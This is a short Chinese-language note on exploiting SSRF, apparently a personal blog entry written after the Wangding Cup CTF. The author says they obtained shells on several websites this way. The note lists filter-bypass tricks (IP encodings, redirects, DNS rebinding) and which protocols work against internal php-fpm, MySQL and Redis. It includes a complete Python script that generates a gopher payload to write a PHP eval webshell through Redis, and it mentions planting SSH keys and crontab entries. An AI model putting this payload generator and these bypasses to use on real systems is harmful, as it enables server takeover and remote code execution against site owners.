0X01
继上次网鼎杯之后,学了一波SSRF,拿了几个网站的shell。在这里记录一下一些特征点和利用方式吧,主要来自王哥的博文。
0X02 绕过
白名单:
找白名单域名的任意url重定向或者找解析差异(类似parse_url和curl的解析差异)
拿个子域名的shell(大佬操作)
黑名单:
1.302跳转 经典姿势
2.8进制ip 16进制ip ipv6 int ip 进制混合ip
3.短地址
4.xip.io
5.DNS绑定 买个域名解析到目标ip
先把域名解析到ip,判断ip是否在白名单,再访问域名的时候:DNS重绑定
0X03 协议
在不同情况下ssrf 支持的协议是不同的:
ssrf常用的协议:gopher dict http https ftp file
javassrf:jdk8之后就不支持gopher了
php-file_get_contents:只支持php内置的协议 不支持gopher dict
php-libcurl:支持的协议最全,gopher dict都可以用
php-xxe:支持的协议跟file_get_contents一样
0X04 内网攻击
fpm未授权
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html,SSRF下可以用gopher打fpm
https://www.jianshu.com/p/fd27f0eedccf,这篇文章用nc接收exp流量再转换成gopher的payload
内网无密码mysql
mysql验证身份需要交互,gopher不支持交互,所以gopher只能攻击无密码mysql ,用gopherus生成payload即可。
内网redis 弱口令或者未授权
dict协议和gopher都可以打但是dict一次只能发一行命令,gopher可以用这个脚本生成payload
import urllib protocol="gopher://" ip="192.168.163.128" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
本质就是执行redis 命令 带密码就在前面加上AUTH,攻击方式也是redis常用的手法。
写公钥 写webshell 写crontab啥的,还有就是比较难的主从复制rce,网鼎杯王八组考到了,但是不会。